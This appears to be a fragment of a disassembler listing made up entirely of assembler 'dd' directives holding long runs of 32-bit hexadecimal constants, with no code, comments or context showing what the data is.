		dd 53DBBE59h, 6D880D5Ch, 195283B6h, 83E30EBBh, 0D68C9759h
		dd 9BFF6368h, 0B173869Dh, 1794A3Fh, 12422CE6h, 0A324E532h
		dd 362E4654h, 0D462F5EFh, 0B24534B4h, 572E031Ah, 0D9B74EA6h
		dd 119E8CDAh, 0C2E8FB01h, 0D451D25Dh, 0E12C61B9h, 0A28DEEDEh
		dd 585FB224h, 4D73312Eh, 0FB3EAAC6h, 0A549FEB1h, 0A7012E96h
		dd 0AFFD335Fh, 67D27169h, 3A250474h, 83D3707Ch,	6EA18311h
		dd 1EED28FDh, 0DEE9232Bh, 0C870F9E8h, 6D080A15h, 8A209C4Ah
		dd 34D63AAh, 3F7737ACh,	0B30B0BA7h, 0A7CE3167h,	0D8223425h
		dd 1FF5E2B8h, 0A5825739h, 0AFCD8F6Fh, 24C01C91h, 0FF340BD0h
		dd 938EE11Ch, 4739196Eh, 9752A47Dh, 0A4F68B03h,	9A9B0B26h
		dd 37ED96FFh, 61E5DC27h, 36F2FF5Ch, 6857E492h, 44146AC2h
		dd 2BD7CF33h, 4D318278h, 3ACFD5A5h, 0CEF426FAh,	0AA668E0Ah
		dd 1FB00050h, 0FC5B7F67h, 0B65A06CFh, 135F4B4Ah, 605788F9h
		dd 4B37D678h, 97E51432h, 722209E0h, 5D682E53h, 6B806CA6h
		dd 0C20410B4h, 0C312FEF5h, 66A015FEh, 9D2EF029h, 1569F4EBh
		dd 0D4045DC6h, 799AEA0Dh, 0E8AF8E70h, 0CB40D4A3h, 4086794Dh
		dd 0BA1AA1EDh, 94EA58C9h, 915A068Ch, 5B537CFFh,	8EB21DC6h
		dd 7EC0B930h, 46446382h, 773BD855h, 64CE0324h, 0D9AD787h
		dd 7061328h, 27D348B2h,	901D7699h, 0AD423DC9h, 0D6A807B0h
		dd 9ED31252h, 0A45B5158h, 0C86C3FD2h, 0E70FDC1Ah, 0C88A0906h
		dd 0BA29E63Bh, 0F8A536A3h, 964D4333h, 4E5A9D7Bh, 3AF6A67Ch
		dd 50C63E60h, 0E3D2C542h, 5ED996C4h, 851179BEh,	402D1FF5h
		dd 0D79ABF4Ch, 1BD4A816h, 0A19562C2h, 30DE65AEh, 60A6860Ch
		dd 724FB718h, 38CD0000h, 0D3437452h, 0E91CC8BBh, 690826DAh
		dd 447289B3h, 5A821484h, 0EB06BF9Bh, 0FDF2AD24h, 685CE38Ch
		dd 5F77BB5Ch, 0F5122C88h, 4EBC51A9h, 0DEA2DDD7h, 20E2504Ch
		dd 0F721E73Ah, 232FF60Ah, 9D0A4C32h, 0DF17794Ah, 0AE721D6Fh
		dd 0F6AAC5D3h, 0BA427522h
		dd 6F0CFFB3h, 2B979417h, 0D46DAA79h, 356D56CDh,	0A5FABC8Bh
		dd 0F75BCA3Ah, 30BFEA08h, 0D41EB6D8h, 0A611B821h, 5EFA9D09h
		dd 0DEDEC14Fh, 4EA9211Fh, 6D247CFEh, 0EC2B0BA4h, 0B42B7C59h
		dd 3E9B6A1Eh, 880A5106h, 0EAEB15DCh, 34BD99B9h,	81EAFCFDh
		dd 0EC83C96h, 0A3583098h, 0E7AC7F87h, 663F7F90h, 0C4FDA1F3h
		dd 0F2B54549h, 0A5F727FFh, 0D75CEDD9h, 44475222h, 43ACE6E5h
		dd 8788E340h, 0FBAEF9E8h, 5B54AA4h, 254F648Fh, 0D88929D1h
		dd 8D9D0ACEh, 3909F191h, 603F00C1h, 0C640E170h,	1C4C689Bh
		dd 8BD77C9Dh, 3F65B9F8h, 4A32E819h, 694072Eh, 0D4B06383h
		dd 51271F0Bh, 0B4914305h, 89DAE0B5h, 36E26A0Bh,	2A9AD8B8h
		dd 518F0289h, 0AB3508B2h, 91E2EE7Ch, 0FBAE4799h, 0F30F79FCh
		dd 0DDAD4758h, 4E1EC57Bh, 74C24899h, 11BAD76Ah,	0C15434B3h
		dd 65AE2BCCh, 63B7D535h, 0A975EF76h, 38027BE6h,	0E237D8B6h
		dd 349F6E2Eh, 6D16ECD2h, 8F63FABDh, 7E290581h, 0EE7D0AD9h
		dd 0B565AA17h, 6792204h, 1C4FCF59h, 92DC7393h, 8F0ADF58h
		dd 44B85E72h, 0E9CC375h, 19F585E8h, 0BAC799F5h,	1D5D0B27h
		dd 0D24714CBh, 0E0B7BAB4h, 9D7CEC35h, 0E853BFF7h, 0A33471EFh
		dd 2EE758Eh, 69D306B7h,	5A668808h, 27BA5871h, 8729EA0Dh
		dd 0F39ED436h, 4BC57E25h, 33A7DCC6h, 0AC9F918Bh, 667E3B41h
		dd 0F1ECAA2Eh, 26036178h, 0C37EAC4Ch, 0CDDFC9D3h, 0BF2B5306h
		dd 0A809EC58h, 0B5F7B0AFh, 231CB72Bh, 0D478B81Bh, 8DA31E99h
		dd 93CBB0D0h, 7A946B10h, 649A3DF7h, 70345A5Eh, 67E1E200h
		dd 0B017490Ah, 0F624F072h, 20E991B6h, 76D92E5Ah, 0CABDCA21h
		dd 0B6AE238h, 0E9066D7Bh, 2395CA64h, 0F827EAB6h, 8137F86Fh
		dd 743F6FF3h, 1424B5BFh, 9A097C2Bh, 0A3F73DC0h,	5AE46C3Bh
		dd 230C367Ah, 22D7601Fh, 0DF4F2DB2h, 4C1B8A62h,	0AC6850D5h
		dd 0D3FDB5B0h, 7F96C42Ah, 0FF10D892h, 3DFA411Fh, 5EDBCF0Dh
		dd 0B482E065h, 3962A6C0h, 54D7DA31h, 0FC077B97h, 0BF31C79Dh
		dd 0A962ECDBh, 8A155174h, 53CCEA9Fh, 0AD1003D5h, 51FC5707h
		dd 4E0D52Dh, 0A027BB25h, 0B94F2EBBh, 859C0257h,	889794CFh
		dd 8D9804A2h, 0F09990E1h, 94C4A93Fh, 9C9204F9h,	0CE8B412Ch
		dd 0A044228h, 0D14EDAFBh, 9E04E556h, 81BC1D22h,	9EDC069Bh
		dd 0E7E4855Ch, 7C7A5B24h, 8689C772h, 114A7891h,	0CF67A19Bh
		dd 0C2AEF43Bh, 851922Fh, 0DBE9337Ch, 5AC0756h, 0FB5EB603h
		dd 9620EC1Ah, 0EA9AA394h, 0ED2984D3h, 83A432A0h, 6086AB4Fh
		dd 3AC07EFFh, 0DA9A9F02h, 2AEA4E0h, 12C0C7CBh, 0D69D76FEh
		dd 8CFB9E41h, 8D062601h, 606E193Ah, 0C63C39E6h,	30CA9994h
		dd 0D6708C54h, 0CE10E394h, 0F4B5F491h, 0E81BCB50h, 0DA50F4A4h
		dd 71D9DBD3h, 0BC4F71CDh, 6E0ACC84h, 295893ACh,	3981CE79h
		dd 73FFE526h, 39E8BB75h, 3F51EDD8h, 11705C51h, 7149B4C2h
		dd 0F3B30CB1h, 0A21047BBh, 48AFCA38h, 0EA8A72CAh, 0F81F6CFDh
		dd 526F33E5h, 8DEE216Ah, 9DE7A0EAh, 0EA7DB6EBh,	81B116D2h
		dd 50F03C7Eh, 6BAE7837h, 85B0061Dh, 6F8C36A1h, 15F70BD1h
		dd 913C63D6h, 0FE631553h, 1BC23189h, 3525CE33h,	0C8F262A2h
		dd 0C4B4E2FDh, 7D1FDAEh, 0CEC38933h, 6143F973h,	0FD81C64h
		dd 0C1620E0h, 68896385h, 0A91D7C3Eh, 195A7DECh,	0CBEEB6Ah
		dd 0C7719A57h, 0A61C93ABh, 2E37CE87h, 44DBFB16h, 9D739D74h
		dd 0E5165EEDh, 53E579D8h, 0B58792AAh, 970095AAh, 47041B43h
		dd 0D763F55h, 31657955h, 0E03A1B45h, 0CB74BE14h, 47D46068h
		dd 6FA3F78Eh, 0CFC563E4h, 0B1FEC22Fh, 0F077FBDBh, 0A62FF6ECh
		dd 5B524C27h, 3D360551h, 14604923h, 91DB266Dh, 5658F792h
		dd 0C899C1B8h, 142A759Dh, 8C3FC890h, 0F75925DCh, 79D54435h
		dd 0E82FBF8Ah, 0D00E94DFh, 0BD35FDFBh, 66CD11F1h, 0DD90F71Ch
		dd 100F88B4h, 424F540h,	0A3E7D98Fh, 0F4C51C4h, 7E114C9Eh
		dd 0A108EB3Bh, 0A449C60Ch, 0FC21CDFDh, 9CF998D1h, 0BA96A64Ah
		dd 5B0B4F52h, 6C4E6324h, 333B9F82h, 95AE1AFDh, 0EFAAB1B6h
		dd 74DBB414h, 687AC58Ah, 2264055Fh, 0E29D031Ah,	24B5824Ch
		dd 0D8A03305h, 420B07Ah, 3F088B4h, 0A824C29h, 0F9D15950h
		dd 1D353C5h, 0BD850079h, 58516F26h, 0D8F9F96Ah,	9201DDE0h
		dd 82CBF30h, 820A3683h,	0E9307BA7h, 77F639BFh, 60FFA238h
		dd 0DE024C69h, 33BC48B2h, 0D8F12D3Bh, 5F1926BDh, 0E48E0629h
		dd 5873A711h, 4DBAE8C9h, 0EDDC4599h, 0EA96ADCDh, 0FD69BE4Ah
		dd 4E188D25h, 0DAB7F24Dh, 0A0F2E6FBh, 0AEF2D0ECh, 355CE37Bh
		dd 0FCD1D1DCh, 0F2F35F80h, 0C9F0A620h, 0AE69E4ECh, 9B4A81FBh
		dd 50C1BC3Bh, 0E6572375h, 59F669Ah, 93E8B292h, 2FE68353h
		dd 0B3B08BA4h, 36C59F6Ah, 72426E2Eh, 69E02C25h,	86F2C58Ah
		dd 65ED42E0h, 8155C950h, 3FA7D99h, 9BA477CCh, 3308C4F9h
		dd 5CA8BEEFh, 0C437DF55h, 0F7E2E9BBh, 0B546AF39h, 402E14ABh
		dd 1D0EE133h, 9103ED4Eh, 36FA9634h, 8F31F6D0h, 0F809FD1h
		dd 86CA6CFCh, 29EC9BDAh, 39DE4F33h, 71A24439h, 0B4830E75h
		dd 74C8FA3Dh, 597226EAh, 0F41556FBh, 0C5ECED50h, 0D52723D4h
		dd 0A7BF2E2Bh, 6011E308h, 0DB887CDFh, 8480BAh, 2ACBA694h
		dd 0A2C2E073h, 9DEDB3D6h, 0DC2E40D5h, 605F6768h, 4DDEEB55h
		dd 2D7125E5h, 10E3378h,	915F3C3Dh, 77CFE834h, 0AB08AAEh
		dd 3D212F03h, 0D78692BAh, 1129B4B3h, 667CD101h,	9939646Eh
		dd 0EF91FC0Eh, 0E23AD983h, 4885C8FBh, 337BA9BEh, 0E88CCAABh
		dd 0AB71A2FFh, 0B49EA876h, 0D33E42ECh, 44CD84F5h, 0BDF8BD24h
		dd 0F1683B21h, 0CE0E2C7Bh, 0DF1DE8E8h, 16234118h, 2BDFB166h
		dd 0F96ACCD5h, 0EC66D2B2h, 6D256D49h, 6D9A3572h, 0D9E316B9h
		dd 7F7727C5h, 9E9876B1h, 0EDE29A0Fh, 0B6DA439Ah, 6D00E965h
		dd 27C30DE7h, 0E4468698h, 36785363h, 0A2D12DA7h, 757237A1h
		dd 6CF36EABh, 0FB513F95h, 3D21F6C1h, 0A78F2C62h, 90C9673Ch
		dd 0D026FB09h, 12B930FFh, 1C73BFDCh, 80B1D4DBh,	0C6DE099Ch
		dd 0B79E22BEh, 0C2994186h, 5F9C2D62h, 0CF3C512h, 8D757BADh
		dd 2AFA7CAAh, 46B0F80Fh, 99800E95h, 912166CBh, 4E4E794Ah
		dd 0EC18E2D2h, 988BF900h, 6EFFFABEh, 30C91CA8h,	0AE98E3E5h
		dd 7C2242CCh, 42C2BE70h, 4AC7A711h, 0E2D33C87h,	2FB84B69h
		dd 6D3898D0h, 7C50BA7h,	0AE82C22Ch, 0F5E26C3Bh,	0E1B29955h
		dd 8DFD9A25h, 7D20696Bh, 0D1D4EC52h, 68FE46DDh,	0B467E1F7h
		dd 0CC50C941h, 0D9718876h, 0F10B48EFh, 62DD9D1Dh, 81BE0986h
		dd 264E6D1Bh, 0DF278E0Fh, 6A30250Bh, 1EDA8067h,	1FD0C724h
		dd 0E4AEB7AEh, 534B136h, 0EF08747Bh, 4DB58562h,	5849C75Fh
		dd 0F4A5C790h, 0CBEBD6E9h, 984B00FFh, 0E5AC097Bh, 3F8A0531h
		dd 27E622D1h, 0EF3C01CEh, 2ABFBF38h, 0D5AB183Eh, 0FBE29C8Fh
		dd 68049804h, 66FDB51Bh, 0FFD003DDh, 0B8CE1BDEh, 0D91FFCC1h
		dd 0EDFAFB75h, 82AD62E6h, 0A825D09Ah, 0BDB2F648h, 0F5D33BCh
		dd 3EFB937Bh, 0EF3E853Dh, 0B715A7B8h, 75E4E0CBh, 0A0B59D97h
		dd 0CB8827BEh, 9B28047h, 0B212AFC3h, 99411C3Dh,	0C76782Bh
		dd 19FCA654h, 8652181Fh, 9789173Fh, 74CA78B2h, 76134DA7h
		dd 2A7B7411h, 542EBE6Eh, 7FFC1DA5h, 7E13715Eh, 10C5A4B5h
		dd 0D3FDAA84h, 7BF19489h, 0AED0E54Bh, 0A23E5228h, 99D8495Dh
		dd 0F54FBB20h, 0DF18B6E2h, 0D68949Dh, 0B2E8F27Eh, 0DBEDE54Ch
		dd 0A32D4212h, 23C12F35h
		dd 0A190A6D8h, 0E24279F2h, 0FBE3BE30h, 899932B3h, 9AD3B3ECh
		dd 52C490C6h, 1EEB23EBh, 0EDE80CE3h, 0BBE14BE8h, 639D4BD3h
		dd 3FE69283h, 0D6F09885h, 9ED89F95h, 914443EBh,	0EB0CFA19h
		dd 68CC1042h, 745266D5h, 0F9EB8222h, 9F986E7Eh,	21362A2Fh
		dd 9F20B1D8h, 55776541h, 33E8A40h, 0CE4BDEDCh, 675E4315h
		dd 0DBAB2443h, 0D5889492h, 70163591h, 0A3ABE2F5h, 5B7132D3h
		dd 46867A73h, 0A0350877h, 245E7A3h, 0FE9E1C7Bh,	0FEADCD04h
		dd 7446AC2Ah, 357624A4h, 0DE690702h, 0E49BBDCAh, 0CECFA503h
		dd 0F5328677h, 5D8C991h, 739EEE02h, 2C0688E9h, 0B5BB4D0Ah
		dd 3243429Ah, 93510A83h, 0A2836776h, 0AF7DFB0Eh, 87E69D44h
		dd 6E8A482Ch, 226622D2h, 4151DBA0h, 9E8151A4h, 8CA7B837h
		dd 40DEFF2Ch, 96474FACh, 4056A77Ch, 0DCDDDD90h,	218995DBh
		dd 44275443h, 3676FB8Fh, 9C136D80h, 8216122Eh, 863850DDh
		dd 70925899h, 43F15C60h, 0DC04BF7Eh, 0DA78663Eh, 287FED6Dh
		dd 5BFE8D09h, 601DB91Dh, 0ADBF8462h, 7B25EDC2h,	335DA1ABh
		dd 36712081h, 4263B6E8h, 3153C15Bh, 4CA29247h, 8D99E726h
		dd 0B92CD898h, 33F5CD69h, 3D6C2C7Fh, 3AE875BBh,	5EF2DF44h
		dd 4BDFE245h, 0F3D0A0Ah, 0EBD68D69h, 0C698DDC6h, 72F9DA5Eh
		dd 60A01DD8h, 4B6CF56Bh, 0DA4CA38Dh, 0C62B9ED4h, 0D89B03E2h
		dd 9B96FDE1h, 701533DCh, 7911605Fh, 2A4B09C3h, 0C0A8908Dh
		dd 4FD1E9Ch, 70A5F07h, 259B1134h, 0FEE02407h, 611CF53Fh
		dd 0E4AB11C9h, 2D68EB29h, 0AEF9630Ch, 0AFC1FB70h, 0E290D14Bh
		dd 4A810D9Bh, 0E670009Eh, 3D933E93h, 0E8376A18h, 9F2F379Ah
		dd 45A979C3h, 0A8B21077h, 28F46E3Ch, 0ADC0E836h, 91D3C543h
		dd 62F8A49Eh, 9990BE8h,	54138969h, 9388EAD0h, 0AF7E7512h
		dd 6AC1D5CEh, 0E73F9B39h, 4298617Eh, 0A2B8BEC2h, 89D7BFF2h
		dd 406C72Fh, 10750AFFh,	21083E95h, 4A6BCE92h, 8C48ADD9h
		dd 0E8DC6703h, 9CD0A163h, 356A4A71h, 55C64C5Eh,	0EE32EB07h
		dd 0F65CB61Bh, 20505D6Eh, 71FE734Eh, 6A88EBF4h,	0DC2C710Ah
		dd 367AD970h, 0BBE50F9Ch, 76DE1A9h, 0C390E0C5h,	0F6A1A007h
		dd 0FD3DC076h, 1368F24Bh, 7268C64h, 1BD1C62Bh, 2D1AA9C5h
		dd 9E5C9923h, 241247C6h, 4B8C82C6h, 3EE2BAB7h, 0BAA6DF2Fh
		dd 0D513DE4Eh, 0BD3B25F5h, 42DD8C93h, 864D14F0h, 798B1935h
		dd 0B6ACB03Fh, 5F77CC62h, 9038EC89h, 24E51285h,	0A3607F28h
		dd 33A4A82h, 6F8B2CAh, 2F0A6493h, 0E604F2E4h, 0A17F18DCh
		dd 79E27644h, 0B1FCFBC4h, 0DE598F80h, 0AB549181h, 9FE6F34Fh
		dd 4092BDF4h, 0D3A84882h, 0C9601CE4h, 33467034h, 9D73854Fh
		dd 1A84C356h, 0B29F5AE9h, 3D70226Ch, 5A29F1BCh,	0C32A0352h
		dd 51CA5717h, 548F82D1h, 64655DEDh, 0BD7ADF2Dh,	4A7B318h
		dd 4168D882h, 8C1DBC4Dh, 508A8497h, 37615A6Bh, 6CD78EE7h
		dd 0D1A8AAADh, 31B1E310h, 0A54655E8h, 3F82DCDBh, 0C02CAE68h
		dd 71385E3Fh, 8A24D71Ah, 1405798Eh, 69CAEF2Ah, 9B1600D1h
		dd 0B755A898h, 390CC61Fh, 84D118A9h, 971665AFh,	17695A28h
		dd 0B08DF2FDh, 8BF0BD6Ah, 678D165h, 9F993703h, 0F6864310h
		dd 38010ADAh, 5CDA8FF0h, 0FE361B34h, 59F79DF1h,	7713189h
		dd 91901437h, 0A92B939Ah, 2B7BD747h, 83ED9BE9h,	0EC9E680h
		dd 111B479Ah, 89095AEDh, 191DE53Dh, 1124CB70h, 0EB975338h
		dd 0C5E29D34h, 0DD50C96Bh, 9053CA8Ah, 0C16DD97h, 247EBA66h
		dd 4BB80F0Dh, 0B5A88606h, 8FB6C147h, 70E5983Bh,	0B2AD05B8h
		dd 0CFD987B4h, 5445FE14h, 7F332289h, 0F3BCC232h, 4EA2B2BFh
		dd 0DA9236FDh, 73E45016h, 0ECECE371h, 6EE0BE22h, 1046B1CDh
		dd 4387D979h, 417E8347h, 968A0D24h, 3022FC01h, 0DE647528h
		dd 57343548h, 0DCED242Ah, 0AF9EEF4Fh, 6E63A7A0h, 0EE479ACh
		dd 81D11388h, 0A8A94A5Ah, 64BB839h, 0EFFD8C14h,	66557113h
		dd 8E04A923h, 82E9D19h,	0EEC048C6h, 0F78ADD35h,	88BBAF35h
		dd 0DE1AD0D7h, 6F89DD10h, 9B81091Eh, 7EBBC2D8h,	0B789795Dh
		dd 10C9F834h, 0BC284C46h, 0CDA5B18Eh, 33062F83h, 2B4540F4h
		dd 73A9BE79h, 0ACC62ACCh, 54F707E5h, 0E7EBD3E6h, 7F961453h
		dd 7A281834h, 2CF71F94h, 0CD61F8BDh, 53BB1DA8h,	610AFD6Fh
		dd 0B77DAAD5h, 2FA21EC9h, 0DA430906h, 0FAA0AAABh, 0D7F73915h
		dd 29775034h, 46787C9Ah, 0A38765E9h, 991FFD57h,	0CEADD786h
		dd 2458B213h, 0BC4178C4h, 0C266D795h, 2B048D23h, 5C09D94Ah
		dd 695C23C6h, 0D644E922h, 0B152BDF2h, 8B401CDFh, 5AF259A6h
		dd 4FEBD0E5h, 5E42D256h, 5F4E7B2Ch, 83781400h, 7ECED9D5h
		dd 0AC25EA23h, 7922E990h, 555C3A4Dh, 98739485h,	0DD045C27h
		dd 8C2C50DFh, 0F94E5159h, 0A5D4CD17h, 54167BE4h, 46C488B4h
		dd 42451092h, 8A40605Ch, 1CBEF89Fh, 0DF4E3481h,	0EB632ECAh
		dd 0A0958AA4h, 3E0BEE02h, 0E316A51Fh, 0E9FC613Ah, 0B578B2Bh
		dd 0EA3C10C0h, 326BDFAAh, 0F260854Ah, 81396FE7h, 0EBE7BD33h
		dd 0F2E240E7h, 1A56BAh,	0E89AF7ACh, 0DB679BC9h,	65BD0FFAh
		dd 0B58E6AE4h, 0B5CC5F95h, 30DE47CFh, 0D46A94BDh, 0E4FF9DA4h
		dd 63E25CD7h, 0F32992EAh, 83D3D436h, 0BA88C874h, 0CE3F801Bh
		dd 1261B97Ah, 0E3F94E06h, 0C4075B4Eh, 3FE56527h, 0EB1C558Dh
		dd 88F7B917h, 0F5A91377h, 0AD54FA3Ah, 51968B97h, 0FB1C820Ah
		dd 0E0FA1A50h, 5CAD94E0h, 5360ADD3h, 8CCC251Fh,	5D011D82h
		dd 0E5475CECh, 0BD27CC35h, 5B9D8D60h, 3FC5E78Bh, 0BBD2E8C8h
		dd 27F7A434h, 11E5BFE5h, 67D6CCD0h, 8683442Bh, 0A29C2C2Ah
		dd 262CBB7Fh, 0CB05061Bh, 5C869177h, 477BE08Ah,	0BD5AC6A2h
		dd 93EE98Ch, 63BD06CBh,	0F844205Ch, 7C322405h, 0EC2D5A80h
		dd 44CDED97h, 0CAB294DDh, 0DF1AB7FBh, 6393D139h, 0E4FC0850h
		dd 0F020EB78h, 0D6B97309h, 80B8C3FCh, 2CE82A54h, 854A7A10h
		dd 11DE032Ah, 960B3DE1h, 0BDB3180Ah, 10140A4Eh,	940F4761h
		dd 4BA87DF7h, 745E622Eh, 34791B59h, 6263762h, 85CE7C0Bh
		dd 0CB97ECD9h, 19204FEAh, 931CD0A6h, 0BDEF49FFh, 90C001C6h
		dd 6003F119h, 0ED28EBFh, 4EBA571Dh, 8D4B40EEh, 0D2D94020h
		dd 0B7800FA6h, 27B88253h, 0E8E02D10h, 2963287Eh, 299EDD2Fh
		dd 0FE552C47h, 72BC81F5h, 24D93ECEh, 15D18C90h,	0D0FD62EBh
		dd 87F433Ch, 0CA26E421h, 0EA19993Bh, 1725F04Dh,	0CCA3C2A6h
		dd 1CAF0FA8h, 0C2C8C84Dh, 0BED95A0Ah, 0A86EDBC2h, 91BCB449h
		dd 0C39AA864h, 0C81A2AEFh, 0D792DA31h, 70A18F6Ch, 0C905827h
		dd 0B3A57006h, 130BD614h, 0E55D3115h, 0F2A1570Bh, 656B4EADh
		dd 0EB3ADFA0h, 9BA81D1Eh, 72EAE942h, 19DA2DA7h,	0A5C358B1h
		dd 3657623Eh, 11A9BB9Fh, 0B693F4F6h, 0E60592EBh, 52AD86B8h
		dd 40F978EDh, 86D9F731h, 25304F8Ch, 3749B3A0h, 454AC714h
		dd 0BA28B5E4h, 0E0D741C8h, 0B8C5410Ch, 3CB3283Eh, 0DEABF657h
		dd 6E2F72F8h, 0F830C145h, 0F4CAE3B3h, 0A6FC4B48h, 9E1AF073h
		dd 0B95BDD24h, 4FBA146Dh, 6E8286D4h, 830D1A07h,	72B9DDA5h
		dd 49130BBAh, 4D56194h,	8D8E42EFh, 1AAA50h, 73A4A214h
		dd 0B45EBA1Ch, 0FDFA9F31h, 889A22E3h, 9C2B8E16h, 5FA5CC3Ah
		dd 0EFB17F9Dh, 0AECFC6EEh, 0D031A520h, 0A53F522Dh, 5C7BAD74h
		dd 0AECBD396h, 2BA7B56Fh, 3FE514E1h, 66C87E6Eh,	7FEDFBDBh
		dd 8226F8CFh, 0EAF91519h, 0BE64600Eh, 52570E24h, 54017DE4h
		dd 6366CDF5h, 3176EB94h
		dd 70E80179h, 2E655A82h, 4B451EDBh, 3FE90C5Ah, 567FAE3Ch
		dd 8C970AC0h, 0E34A1AF3h, 0F1D68600h, 963D8CCDh, 0FD0E3943h
		dd 629C3E16h, 4AD32204h, 0BBC7D2B2h, 0A19C7EA5h, 53DBC672h
		dd 0F3AC85BCh, 98BEE8D3h, 0D8C338E4h, 1757FB2Fh, 0AE7651B8h
		dd 1E482236h, 0D0D0D846h, 0A2EB2402h, 0C524F938h, 0F9F971F3h
		dd 0D4A3B365h, 0BC406382h, 53B85CAAh, 212CC7B9h, 91D600E1h
		dd 30F111E1h, 3A069FC2h, 3C66356Ah, 45ED85FEh, 5EB416BCh
		dd 0ABE9C217h, 66A8E86Dh, 72DD7A83h, 3784B05Ah,	0CF073EF7h
		dd 0DED65C70h, 21F7E85Bh, 0E70DF22Dh, 0EE51F898h, 0EEF849FEh
		dd 15E42D08h, 85C6519Bh, 1511061Fh, 0C1F1DD2Dh,	952D091h
		dd 0BE8C8753h, 843333DBh, 97751F7Bh, 256EDFF6h,	86FCB4BBh
		dd 0F8DF9AF4h, 735AC2C2h, 66B3699Ch, 0E51E7D4Ch, 0E19252D1h
		dd 0BB3EA97Bh, 0D175B7E8h, 71A62364h, 18FFB92Ch, 95DBA867h
		dd 0A8A24A84h, 0DFF976F8h, 3F8D3412h, 0E4083690h, 19353BCFh
		dd 594B1D82h, 0D6E12C97h, 8335F627h, 371EEC95h,	0FE26C3A1h
		dd 8DD3D469h, 563E9C84h, 0F0F4C6CDh, 2C897F0Fh,	0AE379B56h
		dd 0D506B705h, 0DBDBB941h, 751144A4h, 47339E57h, 9BD14350h
		dd 39EAA22Bh, 86DD4FC7h, 2B001727h, 11FE6E7Bh, 0B50EC4E9h
		dd 0D9ACB95Ah, 6BAA2BAFh, 931CEFAEh, 0A134A330h, 5A21E78h
		dd 0D0EB6D58h, 0EB26BA88h, 0D4470B8Ah, 15FD11A1h, 0D3FCF1DFh
		dd 0A84AAE38h, 5150A23Eh, 16EAA1C5h, 6EDE95B9h,	99C120B1h
		dd 0C22E99A8h, 68061537h, 4897162Ch, 8B9C8793h,	0F2CE236Ah
		dd 0CFFF348Ch, 0B694E9F3h, 0C8B4C9Bh, 0D65CBE1Bh, 3AE4CCF3h
		dd 38148FAh, 6F53C2EAh,	8B3FA501h, 0C5BCB7F2h, 0CA19045Eh
		dd 1722DA2Dh, 0D91ADE00h, 49AB36E7h, 0ED49CD7Eh, 0B370B59Fh
		dd 0B3E3EFA5h, 74565B03h, 0C29B26C0h, 0E0857A2Eh, 5301747Ah
		dd 0DA7DAE43h, 0DEDC2473h, 0ABA7552Bh, 0FDFE0DC7h, 7F9E1FA3h
		dd 164968A0h, 97F5A423h, 9A1D0F5Dh, 25D757E8h, 0CAE8A51Fh
		dd 74D10383h, 0C74D0BEDh, 4874330Dh, 8E0FACB0h,	0F8EB9344h
		dd 30B78CCh, 3EED8A63h,	6434EE51h, 0F61C688Fh, 381419DFh
		dd 0FF4D4AEBh, 9BEEEFACh, 10084F75h, 0B999593Ch, 0E12323DCh
		dd 1C7621E4h, 0CB70EF6Bh, 0C28AFFFBh, 0A6932D2h, 0B0F6B5CFh
		dd 29D3B599h, 0E63B6FCBh, 962B4F40h, 0D2060AAAh, 0E4DBBA66h
		dd 0B2CAC039h, 171A9564h, 0E11C9139h, 256C2E2Fh, 5F746CFCh
		dd 6D05A5DEh, 7D9A82E6h, 0EA24EA15h, 1F240A82h,	2A4A57E3h
		dd 3130763Bh, 9EFAC65Fh, 48B74Ch, 776A8F1Eh, 0E1CEBE25h
		dd 8361F46Eh, 0E66DFA56h, 0FD46FC98h, 0C6CB3D5Ch, 63FC25BDh
		dd 5CE0F493h, 985F2F7Ch, 2D7AB466h, 0A61DA119h,	72C80A8Ch
		dd 0E62911FAh, 32E3C80Eh, 4BFC24Ah, 230915Ah, 0C3E03BCCh
		dd 430471B3h, 0C63479C4h, 0CA45C450h, 0CCC9BD76h, 0FE202CA0h
		dd 741AFE0Eh, 0E9738418h, 666554FDh, 0EC794CA2h, 0E74185A0h
		dd 0F3517708h, 0D92E3787h, 87B3D341h, 7C80EAC7h, 0D1BBB941h
		dd 0F1E349Dh, 0D693685Dh, 6D263EB6h, 9AE2F365h,	0CE81ACCEh
		dd 91D6AE5Bh, 0C6A8516Ch, 73906459h, 0A9B4F83h,	567D244Dh
		dd 6F3EE2DEh, 8DD86089h, 73E6E5B5h, 0E0406AA9h,	1700FA65h
		dd 8E84216Ah, 7E0B1663h, 117E08FDh, 90C0C0D1h, 10001EACh
		dd 724A7D61h, 0E0C0F667h, 3982604Eh, 0DB0E4F1Dh, 0FCA2A288h
		dd 0BC84E789h, 0DF13FA14h, 0FE75314Ah, 5F9CA4CAh, 0E7E95Ah
		dd 463E08F0h, 8406CDE8h, 0EDB7F242h, 6ED6DDEEh,	72D0A43Ah
		dd 408039B3h, 42899D7Ah, 0BCA09A22h, 0DDFCFED0h, 0E3DAD638h
		dd 7B6D5D27h, 24D3EDB8h, 7F18AD53h, 0BE84C6FBh,	0B051BF8Ch
		dd 0E1FA2AFFh, 8537E1D8h, 96EEEB6Ah, 0A2824993h, 20776D12h
		dd 26E5D216h, 0E2CB5102h, 3B3669B0h, 9187AF85h,	7CD2F68Fh
		dd 0EE10FF22h, 0F911518Dh, 35D2A72Fh, 60EE6FE0h, 0C803C8CAh
		dd 3CBDB485h, 0D11F3023h, 9026D603h, 7EFC6EE2h,	93863A2Dh
		dd 68FA12C6h, 0A164028Ah, 8BCD992Eh, 7A7C0D12h,	91A91B16h
		dd 0CEB8F1CDh, 0E2ADC42Ch, 552DB98Fh, 0FC728225h, 1498B83Ah
		dd 2BF74DE8h, 89F1FEF4h, 84917CADh, 294E76E2h, 16A56D7h
		dd 0A782F098h, 0AAEA9EB2h, 3E597EEAh, 6F391300h, 841545C3h
		dd 70BF4F1Bh, 0BC018595h, 0AF85C4C7h, 8FAC81BCh, 0F86FE5B9h
		dd 38E7AA28h, 3B8774EFh, 95CE20F2h, 7B910283h, 187A9A61h
		dd 389822BFh, 0F34E016Fh, 8BD2619h, 0BB1A252Dh,	46EF1493h
		dd 352D3DA6h, 5491803Dh, 0DD7A5108h, 0A09DB5C5h, 0B93B6EDFh
		dd 0EE926FAEh, 0C2E7575Ah, 695E2AABh, 0BB21E618h, 0C1EEF4E8h
		dd 1B89AB50h, 0A835BC19h, 704DD3A8h, 0B4A0CC97h, 0B776DC77h
		dd 68AC9116h, 5AF82B98h, 0CBF8C574h, 0DCF83A52h, 978A4482h
		dd 3AF9C58Dh, 7AC002D3h, 9AE90C11h, 2532324Dh, 0C02329Eh
		dd 0B0C3E91h, 5D15ADDFh, 0DFA68EE4h, 8ED3D62Dh,	38670584h
		dd 0A6E91660h, 0C12CEBFAh, 7F4D602Fh, 7B51E897h, 3687880Eh
